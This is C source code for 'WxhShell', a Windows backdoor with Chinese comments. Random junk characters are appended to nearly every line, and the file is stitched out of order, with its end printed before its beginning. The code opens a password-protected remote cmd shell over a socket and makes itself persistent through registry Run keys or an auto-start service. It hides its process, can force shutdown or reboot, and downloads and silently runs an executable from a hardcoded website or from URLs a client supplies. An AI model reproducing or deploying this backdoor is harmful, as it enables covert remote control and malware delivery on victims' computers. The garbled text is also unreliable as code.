  case 'd': { 3-=f@uH!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $yn7XonS  
    if(Boot(SHUTDOWN)) 2\4ammwT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X_3*DqY  
    else { L2sUh+'|  
    closesocket(wsh); 2@Nt6r  
    ExitThread(0); \4`:~c  
    } 8mm]>u$  
    break; ,J$XVvwxF  
    } iJ&jg`"=F  
  // 获取shell w *pTK +  
  case 's': { *HONA>u   
    CmdShell(wsh); )K}-z+$)k  
    closesocket(wsh); Vsj1!}X:  
    ExitThread(0); 4@mK:v %  
    break; 1PN!1=F}  
  } !,cL c}a  
  // 退出 tH)fu%:p  
  case 'x': { -u$U~?|`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8}?w i[T  
    CloseIt(wsh); mB5Sm|{  
    break; j[RY  
    } {y%|Io`P  
  // 离开 rJM/.;Ag  
  case 'q': { |muZv!,E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )z_5I (?&  
    closesocket(wsh); ~(;HkT  
    WSACleanup(); 1xD?cA\vu  
    exit(1); R*`=Bk0+  
    break; OQJ#>*?  
        } g7;OZ#\  
  } ZVyJ%"(E  
  } 7PW7&]-WQ  
O>LqpZ  
  // 提示信息 JKF/z@Vbe\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7I{Le  
} +Ym#!"  
  } |Kq<}R  
ANRZQpnXQ  
  return; 6n:oEXM>  
} O9P4r*prA  
v[\Z^pccgj  
// shell模块句柄 F|&%Z(@a  
int CmdShell(SOCKET sock) v:gdG|n"  
{ j%)@f0Ng  
STARTUPINFO si; _&RGhA  
ZeroMemory(&si,sizeof(si)); N5 b^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8 +mW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "#.L\p{Zy  
PROCESS_INFORMATION ProcessInfo; ?BR Z){)  
char cmdline[]="cmd"; Ov;q]Vn>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tI<6TE'!p#  
  return 0; s[;1?+EI  
} {^Rr:+  
re fAgS!=q  
// 自身启动模式 |)OC1=As  
int StartFromService(void) 6~O;t'd  
{ G6bvV*TRi  
typedef struct o]B2^Yq;x  
{ wA o6:)  
  DWORD ExitStatus; Q">wl  
  DWORD PebBaseAddress; MM*9Q`cB  
  DWORD AffinityMask; r2\ }_pIj  
  DWORD BasePriority; Ch)E:Dvq6  
  ULONG UniqueProcessId; i(4.7{*  
  ULONG InheritedFromUniqueProcessId; QN;GMX5&  
}   PROCESS_BASIC_INFORMATION;  ]l}bk]  
5`QfysR5  
PROCNTQSIP NtQueryInformationProcess; XO5E-Nh  
%ed TW[C`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; } x Kv N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w{riXOjS4  
+hcJ!$J7  
  HANDLE             hProcess; b?/Su<q  
  PROCESS_BASIC_INFORMATION pbi; wj8\eK)]L  
>:OP+Vc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !1mAq+q!  
  if(NULL == hInst ) return 0; m4^VlE,`Dh  
bYYjP.rcF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C't%e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RN$q,f[#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z ZT2c0AK  
[6?x 6_M  
  if (!NtQueryInformationProcess) return 0; X7SSTcA   
%;#9lkOXWH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bd3>IWihp  
  if(!hProcess) return 0; fO83 7  
o3`0x9{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W+.?J 60  
`F~Fb S  
  CloseHandle(hProcess); D"K! ELGW  
dB Hki*.u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J?Rp  
if(hProcess==NULL) return 0; ]0pI6"  
NJKk\RM@7  
HMODULE hMod; 1?r$Rx<R  
char procName[255]; nTsPX Tat  
unsigned long cbNeeded; R=W$3Ue~,  
4VzSqb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xg;q\GS/<i  
Si|8xq$E;  
  CloseHandle(hProcess); k,y#|bf,Y  
th=45y"C  
if(strstr(procName,"services")) return 1; // 以服务启动 ?hW(5]p|  
mHc2v==X\-  
  return 0; // 注册表启动 5;9.&f  
} CF5%&B  
C |rl",&  
// 主模块 bL5dCQxty  
int StartWxhshell(LPSTR lpCmdLine) 5a* Awv}  
{ ,-> P+m5  
  SOCKET wsl; * =O@D2g0  
BOOL val=TRUE; ,=P0rbtK  
  int port=0; _xdttO^N  
  struct sockaddr_in door; 2aQ}| `  
$P&27  
  if(wscfg.ws_autoins) Install(); 6.4,Qae9E  
T f^O(  
port=atoi(lpCmdLine); #p=Wt&2  
n6*; ~h5  
if(port<=0) port=wscfg.ws_port; |nO }YU\E  
1z[blNs&  
  WSADATA data; fVBRP[,   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &l~=c2  
`RE1q)o}8M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zdDJcdbGd1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FD}>}fLv  
  door.sin_family = AF_INET; 1x|/z,   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {c$%3iQq  
  door.sin_port = htons(port); "?sLi  
t,;b*ZR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;:gx;'dm5  
closesocket(wsl); Iyvl6  
return 1; U 0S}O(Ptr  
} O4 Y;  
AwL;-|X  
  if(listen(wsl,2) == INVALID_SOCKET) { 6UJBE<ntj  
closesocket(wsl); 0b}lwo,|\  
return 1; ?)5M3 lV3k  
} >:P3j<xTv  
  Wxhshell(wsl); ({x<!5XL  
  WSACleanup(); c[0$8F>  
3'2}F%!Mv  
return 0; x]U (EX`t$  
( ]o6Pi  
} -.WVuc`  
ByZ.!~  
// 以NT服务方式启动 PZl(S}VY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $RSVN?  
{ G8?<(.pi@  
DWORD   status = 0; 9~mi[l~  
  DWORD   specificError = 0xfffffff; PX'I:B]x*  
{1YT a:evl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L7%'Y}1e.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tdr*>WL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :<IW'  
  serviceStatus.dwWin32ExitCode     = 0; V2]S{!p}k  
  serviceStatus.dwServiceSpecificExitCode = 0; #(*WxVE  
  serviceStatus.dwCheckPoint       = 0; @]#+`pZ4A  
  serviceStatus.dwWaitHint       = 0; hOMFDfhU  
Bv@m)$9\+3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @+X}O /74  
  if (hServiceStatusHandle==0) return; cuk2\> Xl  
v981nJ>w,  
status = GetLastError(); L}a3!33)C  
  if (status!=NO_ERROR) n8G#TQrAE  
{ W@$p'IBwm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =3SL& :8  
    serviceStatus.dwCheckPoint       = 0; FvI`S>  
    serviceStatus.dwWaitHint       = 0; X-{:.9  
    serviceStatus.dwWin32ExitCode     = status; D#t5*bwK  
    serviceStatus.dwServiceSpecificExitCode = specificError; sqZHk+<%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BtHvfoT  
    return; M9OFK\)  
  } 56_KB.Ww~  
H@j^,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <7] z'  
  serviceStatus.dwCheckPoint       = 0; usTCn3u  
  serviceStatus.dwWaitHint       = 0; 5PL,~Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 610k#$  
} eu:_V+  
rzBWk  
// 处理NT服务事件,比如:启动、停止 _gGy(`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gq@."wHU  
{ `( a^=e5  
switch(fdwControl) #EM'=Q%TO  
{ 6kuSkd$.  
case SERVICE_CONTROL_STOP: GQZUC\cB  
  serviceStatus.dwWin32ExitCode = 0; +{w& ksk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,`7GI*Vq  
  serviceStatus.dwCheckPoint   = 0; 4#YklVm  
  serviceStatus.dwWaitHint     = 0; K/,lw~>  
  { 0Yjy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nz',Zm},  
  } E>1USKxn  
  return; } R/  
case SERVICE_CONTROL_PAUSE: 3U`.:w`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UiEB?X]-l'  
  break; C/Z"W@7#;  
case SERVICE_CONTROL_CONTINUE: qpeK><o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -ur]k]R  
  break; DRIv<=Bt  
case SERVICE_CONTROL_INTERROGATE: z,7^dlT  
  break; u~kwNN9t3  
}; bcs!4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ttj5% ~  
} Z%R%D*f@y  
}a1UOScO0  
// 标准应用程序主函数 Vel;t<1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 80EY7#r@w  
{ IXN4?=)I  
`IoX'|C[h  
// 获取操作系统版本 A!kyga6F5  
OsIsNt=GetOsVer(); w3Ohm7N[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z)~!G~J]  
F%d"gF0qu  
  // 从命令行安装 4Dia#1$:J  
  if(strpbrk(lpCmdLine,"iI")) Install(); NHF?73:  
YeLOd  
  // 下载执行文件 J4g;~#_19  
if(wscfg.ws_downexe) { v1=X=H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S\ZAcz4  
  WinExec(wscfg.ws_filenam,SW_HIDE); n:D*r$ C|p  
} uLM_KZ  
%}!}2s.A  
if(!OsIsNt) { ODEXQl}R  
// 如果时win9x,隐藏进程并且设置为注册表启动 g8"7wf`0k  
HideProc(); 2&fwr>!$  
StartWxhshell(lpCmdLine); vWH>k+9&X  
} u&xK>7  
else YoJ'=z,e  
  if(StartFromService()) syf"{bBe  
  // 以服务方式启动 HJR<d&l;p  
  StartServiceCtrlDispatcher(DispatchTable); H| U/tU-  
else ]P$DAi   
  // 普通方式启动 jPNfLwVkl:  
  StartWxhshell(lpCmdLine); @t8kN6.  
fNPj8\#V,  
return 0; YX VJJd$U  
} }%ThnFFBw  
; ,<J:%s  
';, Bn9rv  
d %W}w.  
=========================================== -3t BN*0+  
M%s$F@  
7$W;4!BN*  
bV*zMoD#  
5Y=\~,%\oH  
/2Lo{v=0[  
" _|B&v  
V?59 .TJ  
#include <stdio.h> IW o~s  
#include <string.h> B"9hQb  
#include <windows.h> m%c0#=D  
#include <winsock2.h> 8]":[s6x  
#include <winsvc.h> Ygi1"X}  
#include <urlmon.h> -5v.1y=!L  
<-:@} |br  
#pragma comment (lib, "Ws2_32.lib") |zq!CLjD@  
#pragma comment (lib, "urlmon.lib") Gj19KQ1G  
}K80G~O2<  
#define MAX_USER   100 // 最大客户端连接数 0nn]]B@l  
#define BUF_SOCK   200 // sock buffer nQ17E{^pR  
#define KEY_BUFF   255 // 输入 buffer ioNa~F&  
T#G<?oF  
#define REBOOT     0   // 重启 NTXL>Q*e  
#define SHUTDOWN   1   // 关机 +1Rr kok  
&s^>S? L-  
#define DEF_PORT   5000 // 监听端口 JkDPuTXD  
RC{Z)M{~  
#define REG_LEN     16   // 注册表键长度 <cv2-?L{  
#define SVC_LEN     80   // NT服务名长度 Bd9hf`% 2  
#} ~p^ 0  
// 从dll定义API CQjZAv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n R\n\   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); " Z2Tc)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cld<D5\|f+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "bR'Bt  
B >u,)  
// wxhshell配置信息 C8qTz".5$  
struct WSCFG { [Ba2b: l6v  
  int ws_port;         // 监听端口 +*_fN ]M  
  char ws_passstr[REG_LEN]; // 口令 i=1 }lk q  
  int ws_autoins;       // 安装标记, 1=yes 0=no PM-PP8h  
  char ws_regname[REG_LEN]; // 注册表键名 df>kEvU5.^  
  char ws_svcname[REG_LEN]; // 服务名 9R@abm,I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K)Zkj"y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6<s(e_5f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r'd:SaU+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $35,\ZO>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r2SJp@f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G&@-R{i  
0n*rs=\VG  
}; 9eGCBVW:*  
/1 US,  
// default Wxhshell configuration cK|rrwa0  
struct WSCFG wscfg={DEF_PORT, dqD;y#/  
    "xuhuanlingzhe", *f`s%&Y]s  
    1, }0BL0N`_  
    "Wxhshell", .>kccLr:z  
    "Wxhshell", gHvW e  
            "WxhShell Service", Mr=}B6`  
    "Wrsky Windows CmdShell Service", Sf'i{xye  
    "Please Input Your Password: ", _b0S  
  1, X:G& 5  
  "http://www.wrsky.com/wxhshell.exe", NokXE  
  "Wxhshell.exe" Nt zq"ces)  
    }; wX)efLmyhY  
gH{:`E k7  
// 消息定义模块 V< i<0E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TRgY:R_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >`hSye{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VLh%XoQx[  
char *msg_ws_ext="\n\rExit."; DC|xilP1O  
char *msg_ws_end="\n\rQuit."; 5jn$7iE`  
char *msg_ws_boot="\n\rReboot..."; BgJkrv7~  
char *msg_ws_poff="\n\rShutdown..."; :%/\1$3P  
char *msg_ws_down="\n\rSave to "; <#xrrRhm}  
-l-AToO4  
char *msg_ws_err="\n\rErr!"; b A)b`1lI  
char *msg_ws_ok="\n\rOK!"; xw4ey<"I  
|`w$|pm=  
char ExeFile[MAX_PATH]; ulH0%`Fi  
int nUser = 0; fd?bU|I_2  
HANDLE handles[MAX_USER]; qs!>tw  
int OsIsNt; #04{(G|~+E  
iD%qy/I/  
SERVICE_STATUS       serviceStatus; k(zs>kiP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D^,\cZbY  
T$ H2'tK|  
// 函数声明 pNp^q/- yB  
int Install(void); PqT"jOF]n  
int Uninstall(void); d@-wi%,^  
int DownloadFile(char *sURL, SOCKET wsh); "0|BoG  
int Boot(int flag); R]CZw;zS_  
void HideProc(void); U:qF/%w  
int GetOsVer(void); .r~'(g{qt  
int Wxhshell(SOCKET wsl);  LsQs:O  
void TalkWithClient(void *cs); B^Xy0fq  
int CmdShell(SOCKET sock); {V[Ha~b%*  
int StartFromService(void); *I=_*LoG2  
int StartWxhshell(LPSTR lpCmdLine); cICHRp&&  
_kh>Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xttYn ]T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e@[9C(5E"  
HKpD 2M  
// 数据结构和表定义 v-ThdE$G#  
SERVICE_TABLE_ENTRY DispatchTable[] = PT mf  
{ c2/FHI0J;  
{wscfg.ws_svcname, NTServiceMain},  q4_**  
{NULL, NULL} `/c7h16  
}; F b1EMVu  
*7\W=-  
// 自我安装 GL/  KB  
int Install(void) ?hKm&B;d  
{ l#Yx TY  
  char svExeFile[MAX_PATH]; w-lrnjs  
  HKEY key; bpGzTU  
  strcpy(svExeFile,ExeFile); 77``8,  
MM7"a?y)  
// 如果是win9x系统,修改注册表设为自启动 o1U}/y+R\  
if(!OsIsNt) { _~PO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j?( c}!}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p[u4,  
  RegCloseKey(key); ~+<<bzY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3a%xn4P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S:#e8H_7m]  
  RegCloseKey(key); B0v|{C   
  return 0; ?C}sR:K/  
    } 9MT3T?IS  
  } 97!H`|u <  
} rxs8De  
else { )]wuF`  
YtMlqF  
// 如果是NT以上系统,安装为系统服务 "i&fp:E0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ANotUty;y  
if (schSCManager!=0) Gp,'kw"I  
{ ><X $#  
  SC_HANDLE schService = CreateService 4HW;  
  ( # J]~  
  schSCManager, #J\s%60pt  
  wscfg.ws_svcname, M"B@M5KT  
  wscfg.ws_svcdisp, |<1M&\oaQ'  
  SERVICE_ALL_ACCESS, @/LiR>,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zMr&1*CDX  
  SERVICE_AUTO_START, AO $Wy@  
  SERVICE_ERROR_NORMAL, g#}tm<  
  svExeFile, Uh}+"h5  
  NULL, l**3%cTb  
  NULL, ^Wm*-4  
  NULL, hD*(AJ  
  NULL, '^DUq?E4  
  NULL ,aWCiu}  
  ); gn^!"MN+g  
  if (schService!=0) #v+;:  
  { 'aZAS Pn[  
  CloseServiceHandle(schService); $,@JYLC2  
  CloseServiceHandle(schSCManager); SetX#e?q~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7C?E z%a@  
  strcat(svExeFile,wscfg.ws_svcname); ~{$L9;x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^;4YZwW5w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 94y9W#  
  RegCloseKey(key); fq=:h\\G  
  return 0; j$mz3Yk  
    } _CL{IY  
  } \OT6L'l],  
  CloseServiceHandle(schSCManager); \+9;!VWhl  
} k/@Tr :  
} Ok,HD7  
@i{]4rk lv  
return 1; ~3d*b8  
} ?^. Pt  
>4M<W4  
// 自我卸载 onib x^Fcd  
int Uninstall(void) bJPJ.+G7  
{ 6uqUiRs()  
  HKEY key; dWUUxKC  
?aFZOc4   
if(!OsIsNt) { Fv A8T 2-v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KGD'mByt"  
  RegDeleteValue(key,wscfg.ws_regname); {:$NfW  
  RegCloseKey(key); \C7q4p?8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?M~  k$  
  RegDeleteValue(key,wscfg.ws_regname); ;?`@"YG)  
  RegCloseKey(key); ]VDn'@uM  
  return 0; W "k| K:  
  } d#8e~  
} {[tZ.1.w  
} 6bUl > 4  
else { 9DPb|+O-  
%I0}4$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cWM:  
if (schSCManager!=0) ]Zk}ZG>6  
{ {Zl4C;c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }uiPvO+&p  
  if (schService!=0) UKj`_a6  
  { p#=;)1  
  if(DeleteService(schService)!=0) { D J_DonO]  
  CloseServiceHandle(schService); ]!faA\1  
  CloseServiceHandle(schSCManager); ]'UgZsJ  
  return 0; Yv=g^tw  
  } $ 9=8@  
  CloseServiceHandle(schService); t}~UYG( h~  
  } 0 u2Ny&6w  
  CloseServiceHandle(schSCManager); ?BsH{Q RYQ  
} 4 4`WYK l  
} )qd= {  
I=odMw7Hj  
return 1; u(Rk'7k  
} $Elkhe]O %  
bl$j%gI%,  
// 从指定url下载文件 `M0YAiG  
int DownloadFile(char *sURL, SOCKET wsh) aaT5u14%  
{ Fv@tD4I>  
  HRESULT hr; ,Z5Fea  
char seps[]= "/"; x?=B\8m  
char *token; qRl/Sl#F  
char *file; -=sf}4A  
char myURL[MAX_PATH]; *m&%vj.Kc  
char myFILE[MAX_PATH]; O4!9{  
N%*9&FjrL  
strcpy(myURL,sURL); Man^<T%F  
  token=strtok(myURL,seps); 0ERsMnU'  
  while(token!=NULL) l=NAq_?N\  
  { i7s\CY  
    file=token; ?S9Nm~vlt  
  token=strtok(NULL,seps); FJF3B)Va|  
  } )mG0g@qOK  
wE4;Rk1  
GetCurrentDirectory(MAX_PATH,myFILE); Bj8<@~bX:L  
strcat(myFILE, "\\"); 8,y{q9O  
strcat(myFILE, file); 03F3q4"  
  send(wsh,myFILE,strlen(myFILE),0); r@Nl 2  
send(wsh,"...",3,0); _aY.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ydup)[n  
  if(hr==S_OK) <5k&)EoT  
return 0; 82s 5VQ6  
else -!~vA+jw1  
return 1; + ~~ Z0.[  
}7Jp :.qk  
} BCBUb  
gw J}]Tf  
// 系统电源模块  C/  
int Boot(int flag) 6i-*N[!U  
{ SM$\;)L  
  HANDLE hToken; v4C3uNW  
  TOKEN_PRIVILEGES tkp; 9 ?(x>P  
%z2oDAjX  
  if(OsIsNt) { 8F)=n \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pj._/$R[/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NZfd_? 3  
    tkp.PrivilegeCount = 1; H>Ks6V)RL4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =EWD |<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d=F)y~&'  
if(flag==REBOOT) { K#@K"N =  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PF`:1;P U  
  return 0; RPY 6Wh| 4  
}  tI'e ctn  
else { H(?e&Qkg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aoK4Du{  
  return 0; Xj(>.E{~H  
} RW)k_#%=  
  } .T{U^0 )  
  else { leR" j  
if(flag==REBOOT) {  XtR`?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h~:H?pj3g  
  return 0; 6kC)\ uy  
} GV=V^Fl .  
else { eiOi3q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gy$o7|PA"{  
  return 0; so'eZ"A:  
} ^&HI +M  
}  *6'_5~G  
u$\Tg3du2  
return 1; h%u? lW  
} R4yJ.f  
HaS[.&\S0  
// win9x进程隐藏模块 Of!|,2`(  
void HideProc(void) 80cm6?,xu  
{ :%pw`b, =V  
u"eZa!#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1/!nV  
  if ( hKernel != NULL ) -)<JBs>  
  { b\H/-7<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;>sq_4_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e_\SSH @tw  
    FreeLibrary(hKernel); jjNxatAN  
  } 2~+'vi  
g}^4^88=a  
return; MV7}  
} l8eT{!4  
bl6':m+  
// 获取操作系统版本 >Y44{D\`  
int GetOsVer(void) @b4b{d5[  
{ Tm0?[[3hC  
  OSVERSIONINFO winfo; m21QN9(i%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >I{4  
  GetVersionEx(&winfo); Z(#XFXd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HdDo&#  
  return 1; s#M? tyhj  
  else lrM.RM96  
  return 0; 9*"[pt+tA  
} r@\,VD6J  
'cWlY3%t  
// 客户端句柄模块 "87O4 #$  
int Wxhshell(SOCKET wsl) f'8B[&@L  
{ "0p +SZ~D  
  SOCKET wsh; Tq_1wX'\  
  struct sockaddr_in client; q_OY sg  
  DWORD myID; 56 /.*qa  
7] R6  
  while(nUser<MAX_USER) ot&j HS'  
{ yL^M~lws  
  int nSize=sizeof(client); hlY S=cgY=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rcD.P?"  
  if(wsh==INVALID_SOCKET) return 1; k 2 mkOb  
:Q0?ub]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y$+!%y*  
if(handles[nUser]==0) T +|J19  
  closesocket(wsh); 3Y.d&Nz  
else eP-R""uPw  
  nUser++; )eIz{Mdp=  
  } R] V~IDs   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HXl r  
nA{ncTg1\  
  return 0; 81%qM7v9H  
} 3"2<T^H]  
>vNk kxWyQ  
// 关闭 socket _ d(Ks9  
void CloseIt(SOCKET wsh) $Sc08ro  
{ %Hh &u .  
closesocket(wsh); 59"Nn\}3gE  
nUser--; S|z(  
ExitThread(0); ;'Z,[a  
} =l?"=HF  
\6nQ-S_  
// 客户端请求句柄 8 H$@Xts  
void TalkWithClient(void *cs) A1=$kzw{UH  
{ VygXhh^7\  
iPtm@f,bI  
  SOCKET wsh=(SOCKET)cs; q^T&A[hMPx  
  char pwd[SVC_LEN]; gn4g 43  
  char cmd[KEY_BUFF]; 'w |s*5  
char chr[1]; *n$m;yI  
int i,j; <W^XSk  
(pRy1DH~  
  while (nUser < MAX_USER) { [h2p8i 'o  
#7cf 8y  
if(wscfg.ws_passstr) { cE_Xo.:Y,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xYzcV%-Pm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :a^,Ei-&  
  //ZeroMemory(pwd,KEY_BUFF); (0+GLI8  
      i=0; 6{F S /+  
  while(i<SVC_LEN) { SjNwT[.nr7  
u0 'pR# m|  
  // 设置超时 * zJiii  
  fd_set FdRead; L{o >D"  
  struct timeval TimeOut; B2Awdw3=g  
  FD_ZERO(&FdRead); ;MdK3c  
  FD_SET(wsh,&FdRead); V }r_   
  TimeOut.tv_sec=8; {KQ-Ce-6  
  TimeOut.tv_usec=0; Z:o' +oh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); szM=U$jKq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *F4G qX3  
m= beB\=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  vCH v  
  pwd=chr[0]; '=G<)z@k  
  if(chr[0]==0xd || chr[0]==0xa) { 3\U,Kg  
  pwd=0; uvK%d\d  
  break; y0mg}N1  
  } _R!!4Hp<Q  
  i++; BX)cV  
    } b3HTCO-,fC  
yKk,);  
  // 如果是非法用户,关闭 socket @0@'6J04  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iRr& 'k  
} =ym~= S  
n*8RYm)?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kHIQ/\3?Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]V]@Zna@g  
%?{2uMfq-f  
while(1) { ~>-;(YU"t  
-r2qIt  
  ZeroMemory(cmd,KEY_BUFF); `?S?)0B  
2W-NCE%K)T  
      // 自动支持客户端 telnet标准   )^' B:ic  
  j=0; t;~`Lm@hY  
  while(j<KEY_BUFF) { $A!h=]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (R 2P< Zr  
  cmd[j]=chr[0]; LyPBFo[?  
  if(chr[0]==0xa || chr[0]==0xd) { kk7: A0._  
  cmd[j]=0; !iz vY  
  break; "l;8 O2;g  
  } YV!V9   
  j++; !?-5 hh1\  
    } YGO7lar  
S/:QVs  
  // 下载文件 !5 :[XvI#  
  if(strstr(cmd,"http://")) { `j"G=%e3.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YbBH6R Zr  
  if(DownloadFile(cmd,wsh)) 9TN5|x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1kw4'#J8  
  else . t%Vx  
